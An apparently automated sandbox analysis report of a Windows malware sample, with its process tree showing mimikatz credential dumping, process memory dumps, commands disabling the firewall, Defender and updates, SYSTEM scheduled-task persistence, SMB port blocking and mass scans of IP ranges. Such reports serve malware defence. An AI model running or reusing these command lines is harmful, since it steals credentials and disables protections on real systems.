Analysis

  • max time kernel
    164s
  • max time network
    182s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    07/04/2024, 11:41

General

  • Target
    2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe
  • Size 7.0MB
  • Sample240407-nte7jacc79
  • SHA256 1d439a57b7be25cf46f57f7a5aa7991081e9f270e5b43c12e853cbd036bb68f5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (22596) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 3 IoCs
  • UPX dump on OEP (original entry point) 35 IoCs
  • XMRig Miner payload 10 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 7 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Sets file execution options in registry 2 TTPs 40 IoCs
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 23 IoCs
  • UPX packed file 32 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates a Windows Service
  • Drops file in System32 directory 12 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 3 IoCs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 31 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:904
      • C:\Windows\TEMP\ncelurtrj\eeknlv.exe
        "C:\Windows\TEMP\ncelurtrj\eeknlv.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2748
    • C:\Users\Admin\AppData\Local\Temp\2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ykuemqcz\pfseynr.exe
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2072
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • Runs ping.exe
          PID:2856
        • C:\Windows\ykuemqcz\pfseynr.exe
          C:\Windows\ykuemqcz\pfseynr.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2612
    • C:\Windows\ykuemqcz\pfseynr.exe
      C:\Windows\ykuemqcz\pfseynr.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Sets file execution options in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2576
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:2528
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D users
            3⤵
              PID:2408
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
                PID:2912
              • C:\Windows\SysWOW64\cacls.exe
                cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                3⤵
                  PID:2960
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                    PID:2928
                  • C:\Windows\SysWOW64\cacls.exe
                    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                    3⤵
                      PID:2396
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static del all
                    2⤵
                    • Modifies data under HKEY_USERS
                    PID:2716
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add policy name=Bastards description=FuckingBastards
                    2⤵
                    • Modifies data under HKEY_USERS
                    PID:2760
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filteraction name=BastardsList action=block
                    2⤵
                    • Modifies data under HKEY_USERS
                    PID:1636
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exe /S
                    2⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:1960
                    • C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exe
                      C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exe /S
                      3⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Drops file in System32 directory
                      • Drops file in Program Files directory
                      • Suspicious use of WriteProcessMemory
                      PID:332
                      • C:\Windows\SysWOW64\net.exe
                        net stop "Boundary Meter"
                        4⤵
                          PID:320
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop "Boundary Meter"
                            5⤵
                              PID:2172
                          • C:\Windows\SysWOW64\net.exe
                            net stop "TrueSight Meter"
                            4⤵
                              PID:1568
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop "TrueSight Meter"
                                5⤵
                                  PID:2680
                              • C:\Windows\SysWOW64\net.exe
                                net stop npf
                                4⤵
                                  PID:1764
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 stop npf
                                    5⤵
                                      PID:2132
                                  • C:\Windows\SysWOW64\net.exe
                                    net start npf
                                    4⤵
                                      PID:2976
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 start npf
                                        5⤵
                                          PID:2672
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c net start npf
                                    2⤵
                                      PID:2296
                                      • C:\Windows\SysWOW64\net.exe
                                        net start npf
                                        3⤵
                                          PID:2988
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 start npf
                                            4⤵
                                              PID:3056
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd /c net start npf
                                          2⤵
                                            PID:2164
                                            • C:\Windows\SysWOW64\net.exe
                                              net start npf
                                              3⤵
                                                PID:2104
                                                • C:\Windows\SysWOW64\net1.exe
                                                  C:\Windows\system32\net1 start npf
                                                  4⤵
                                                    PID:2204
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\rbggpfcfq\uvnzszfjl\Scant.txt
                                                2⤵
                                                • Loads dropped DLL
                                                PID:432
                                                • C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe
                                                  C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\rbggpfcfq\uvnzszfjl\Scant.txt
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  PID:1512
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c C:\Windows\rbggpfcfq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\rbggpfcfq\Corporate\log.txt
                                                2⤵
                                                • Loads dropped DLL
                                                • Drops file in Windows directory
                                                PID:2948
                                                • C:\Windows\rbggpfcfq\Corporate\vfshost.exe
                                                  C:\Windows\rbggpfcfq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2832
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ckuenbcru" /ru system /tr "cmd /c C:\Windows\ime\pfseynr.exe"
                                                2⤵
                                                  PID:2968
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                    3⤵
                                                      PID:2820
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /create /sc minute /mo 1 /tn "ckuenbcru" /ru system /tr "cmd /c C:\Windows\ime\pfseynr.exe"
                                                      3⤵
                                                      • Creates scheduled task(s)
                                                      PID:2220
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "mqliugrvu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F"
                                                    2⤵
                                                      PID:2200
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                        3⤵
                                                          PID:1284
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /create /sc minute /mo 1 /tn "mqliugrvu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F"
                                                          3⤵
                                                          • Creates scheduled task(s)
                                                          PID:1596
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ravchtuqt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F"
                                                        2⤵
                                                          PID:868
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                            3⤵
                                                              PID:1276
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /create /sc minute /mo 1 /tn "ravchtuqt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F"
                                                              3⤵
                                                              • Creates scheduled task(s)
                                                              PID:1984
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                                                            2⤵
                                                              PID:1244
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                                                              2⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:2984
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                              2⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:2072
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static set policy name=Bastards assign=y
                                                              2⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:2532
                                                            • C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe
                                                              C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe -accepteula -mp 904 C:\Windows\TEMP\rbggpfcfq\904.dmp
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1792
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                                                              2⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:384
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                                                              2⤵
                                                                PID:2488
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                2⤵
                                                                  PID:1952
                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                  netsh ipsec static set policy name=Bastards assign=y
                                                                  2⤵
                                                                    PID:564
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                                                                    2⤵
                                                                      PID:2152
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      PID:2348
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      PID:1412
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh ipsec static set policy name=Bastards assign=y
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      PID:2280
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd /c net stop SharedAccess
                                                                      2⤵
                                                                        PID:1808
                                                                        • C:\Windows\SysWOW64\net.exe
                                                                          net stop SharedAccess
                                                                          3⤵
                                                                            PID:2092
                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                              C:\Windows\system32\net1 stop SharedAccess
                                                                              4⤵
                                                                                PID:1540
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd /c netsh firewall set opmode mode=disable
                                                                            2⤵
                                                                              PID:2884
                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                netsh firewall set opmode mode=disable
                                                                                3⤵
                                                                                • Modifies Windows Firewall
                                                                                • Modifies data under HKEY_USERS
                                                                                PID:1556
                                                                            • C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe
                                                                              C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe -accepteula -mp 1124 C:\Windows\TEMP\rbggpfcfq\1124.dmp
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1672
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd /c netsh Advfirewall set allprofiles state off
                                                                              2⤵
                                                                                PID:3064
                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                  netsh Advfirewall set allprofiles state off
                                                                                  3⤵
                                                                                  • Modifies Windows Firewall
                                                                                  • Modifies data under HKEY_USERS
                                                                                  PID:1860
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd /c net stop MpsSvc
                                                                                2⤵
                                                                                  PID:1644
                                                                                  • C:\Windows\SysWOW64\net.exe
                                                                                    net stop MpsSvc
                                                                                    3⤵
                                                                                      PID:556
                                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                                        C:\Windows\system32\net1 stop MpsSvc
                                                                                        4⤵
                                                                                          PID:2524
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      cmd /c net stop WinDefend
                                                                                      2⤵
                                                                                        PID:1032
                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                          net stop WinDefend
                                                                                          3⤵
                                                                                            PID:2060
                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                              C:\Windows\system32\net1 stop WinDefend
                                                                                              4⤵
                                                                                                PID:3032
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            cmd /c net stop wuauserv
                                                                                            2⤵
                                                                                              PID:948
                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                net stop wuauserv
                                                                                                3⤵
                                                                                                  PID:1660
                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                    C:\Windows\system32\net1 stop wuauserv
                                                                                                    4⤵
                                                                                                      PID:2624
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  cmd /c sc config MpsSvc start= disabled
                                                                                                  2⤵
                                                                                                    PID:632
                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                      sc config MpsSvc start= disabled
                                                                                                      3⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:1552
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd /c sc config SharedAccess start= disabled
                                                                                                    2⤵
                                                                                                      PID:2308
                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                        sc config SharedAccess start= disabled
                                                                                                        3⤵
                                                                                                        • Launches sc.exe
                                                                                                        PID:1244
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd /c sc config WinDefend start= disabled
                                                                                                      2⤵
                                                                                                        PID:2880
                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                          sc config WinDefend start= disabled
                                                                                                          3⤵
                                                                                                          • Launches sc.exe
                                                                                                          PID:2652
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd /c sc config wuauserv start= disabled
                                                                                                        2⤵
                                                                                                          PID:2944
                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                            sc config wuauserv start= disabled
                                                                                                            3⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:2316
                                                                                                        • C:\Windows\TEMP\xohudmc.exe
                                                                                                          C:\Windows\TEMP\xohudmc.exe
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Drops file in System32 directory
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:2648
                                                                                                        • C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe
                                                                                                          C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe -accepteula -mp 1164 C:\Windows\TEMP\rbggpfcfq\1164.dmp
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2796
                                                                                                        • C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe
                                                                                                          C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe -accepteula -mp 2012 C:\Windows\TEMP\rbggpfcfq\2012.dmp
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2744
                                                                                                        • C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe
                                                                                                          C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe -accepteula -mp 1844 C:\Windows\TEMP\rbggpfcfq\1844.dmp
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2772
                                                                                                        • C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe
                                                                                                          C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe -accepteula -mp 2728 C:\Windows\TEMP\rbggpfcfq\2728.dmp
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2560
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd.exe /c C:\Windows\rbggpfcfq\uvnzszfjl\scan.bat
                                                                                                          2⤵
                                                                                                          • Loads dropped DLL
                                                                                                          PID:1012
                                                                                                          • C:\Windows\rbggpfcfq\uvnzszfjl\btnrzguie.exe
                                                                                                            btnrzguie.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Drops file in Windows directory
                                                                                                            PID:1972
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
                                                                                                        1⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:2916
                                                                                                      • C:\Windows\SysWOW64\ssssgc.exe
                                                                                                        C:\Windows\SysWOW64\ssssgc.exe
                                                                                                        1⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        PID:2448
                                                                                                      • C:\Windows\system32\taskeng.exe
                                                                                                        taskeng.exe {0F43F375-3336-4542-90C4-D4EF1B046AAA} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                        1⤵
                                                                                                          PID:688
                                                                                                          • C:\Windows\system32\cmd.EXE
                                                                                                            C:\Windows\system32\cmd.EXE /c C:\Windows\ime\pfseynr.exe
                                                                                                            2⤵
                                                                                                              PID:1448
                                                                                                              • C:\Windows\ime\pfseynr.exe
                                                                                                                C:\Windows\ime\pfseynr.exe
                                                                                                                3⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:1472
                                                                                                            • C:\Windows\system32\cmd.EXE
                                                                                                              C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F
                                                                                                              2⤵
                                                                                                                PID:1496
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                  3⤵
                                                                                                                    PID:2784
                                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                                    cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F
                                                                                                                    3⤵
                                                                                                                      PID:2636
                                                                                                                  • C:\Windows\system32\cmd.EXE
                                                                                                                    C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F
                                                                                                                    2⤵
                                                                                                                      PID:2188
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                        3⤵
                                                                                                                          PID:1628
                                                                                                                        • C:\Windows\system32\cacls.exe
                                                                                                                          cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F
                                                                                                                          3⤵
                                                                                                                            PID:1288
                                                                                                                        • C:\Windows\system32\cmd.EXE
                                                                                                                          C:\Windows\system32\cmd.EXE /c C:\Windows\ime\pfseynr.exe
                                                                                                                          2⤵
                                                                                                                            PID:1624
                                                                                                                            • C:\Windows\ime\pfseynr.exe
                                                                                                                              C:\Windows\ime\pfseynr.exe
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                              PID:3564
                                                                                                                          • C:\Windows\system32\cmd.EXE
                                                                                                                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F
                                                                                                                            2⤵
                                                                                                                              PID:3208
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                3⤵
                                                                                                                                  PID:1444
                                                                                                                                • C:\Windows\system32\cacls.exe
                                                                                                                                  cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F
                                                                                                                                  3⤵
                                                                                                                                    PID:3096
                                                                                                                                • C:\Windows\system32\cmd.EXE
                                                                                                                                  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F
                                                                                                                                  2⤵
                                                                                                                                    PID:3212
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                      3⤵
                                                                                                                                        PID:3160
                                                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                                                        cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F
                                                                                                                                        3⤵
                                                                                                                                          PID:3296

                                                                                                                                    Network

                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                          Replay Monitor

                                                                                                                                          Loading Replay Monitor...

                                                                                                                                          Downloads

                                                                                                                                          Packet.dll

                                                                                                                                          • Path C:\Windows\SysWOW64\Packet.dll
                                                                                                                                          • Size 95KB
                                                                                                                                          • SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          wpcap.dll

                                                                                                                                          • Path C:\Windows\SysWOW64\wpcap.dll
                                                                                                                                          • Size 275KB
                                                                                                                                          • SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          config.json

                                                                                                                                          • Path C:\Windows\TEMP\ncelurtrj\config.json
                                                                                                                                          • Size 693B
                                                                                                                                          • SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
                                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                                          1124.dmp

                                                                                                                                          • Path C:\Windows\TEMP\rbggpfcfq\1124.dmp
                                                                                                                                          • Size 1.4MB
                                                                                                                                          • SHA256 c0ccd22775aa9bbde1b1f8db4c93c8ab0dd2ee979f265331a06be39f76b69f00
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          1164.dmp

                                                                                                                                          • Path C:\Windows\TEMP\rbggpfcfq\1164.dmp
                                                                                                                                          • Size 1.3MB
                                                                                                                                          • SHA256 600faaae149a50408efab6608df0b1847d85875a88b3eeb7749fe4e17d07e781
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          1844.dmp

                                                                                                                                          • Path C:\Windows\TEMP\rbggpfcfq\1844.dmp
                                                                                                                                          • Size 2.1MB
                                                                                                                                          • SHA256 312c16c173947a35379e9c9e9cebadb031d8bc9b5f914a8ca1c629795a322d44
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          2012.dmp

                                                                                                                                          • Path C:\Windows\TEMP\rbggpfcfq\2012.dmp
                                                                                                                                          • Size 7.2MB
                                                                                                                                          • SHA256 be03a14ab9a232f95297a5dad8af816b5228423131591aa197a4d2313be4e163
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          2728.dmp

                                                                                                                                          • Path C:\Windows\TEMP\rbggpfcfq\2728.dmp
                                                                                                                                          • Size 843KB
                                                                                                                                          • SHA256 8c2958b402d983b279895dd72e4f6f195475b0ef4ba20513c7ebbc53f2797da1
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          904.dmp

                                                                                                                                          • Path C:\Windows\TEMP\rbggpfcfq\904.dmp
                                                                                                                                          • Size 4.5MB
                                                                                                                                          • SHA256 52de43ba38a848a746f9618e5265f441aa8592a7d0f3a371c7bca962ef13d039
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          eeknlv.exe

                                                                                                                                          • Path C:\Windows\Temp\ncelurtrj\eeknlv.exe
                                                                                                                                          • Size 343KB
                                                                                                                                          • SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          xohudmc.exe

                                                                                                                                          • Path C:\Windows\Temp\xohudmc.exe
                                                                                                                                          • Size 72KB
                                                                                                                                          • SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          btnrzguie.exe

                                                                                                                                          • Path C:\Windows\rbggpfcfq\uvnzszfjl\btnrzguie.exe
                                                                                                                                          • Size 63KB
                                                                                                                                          • SHA256 a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          clmskurrz.exe

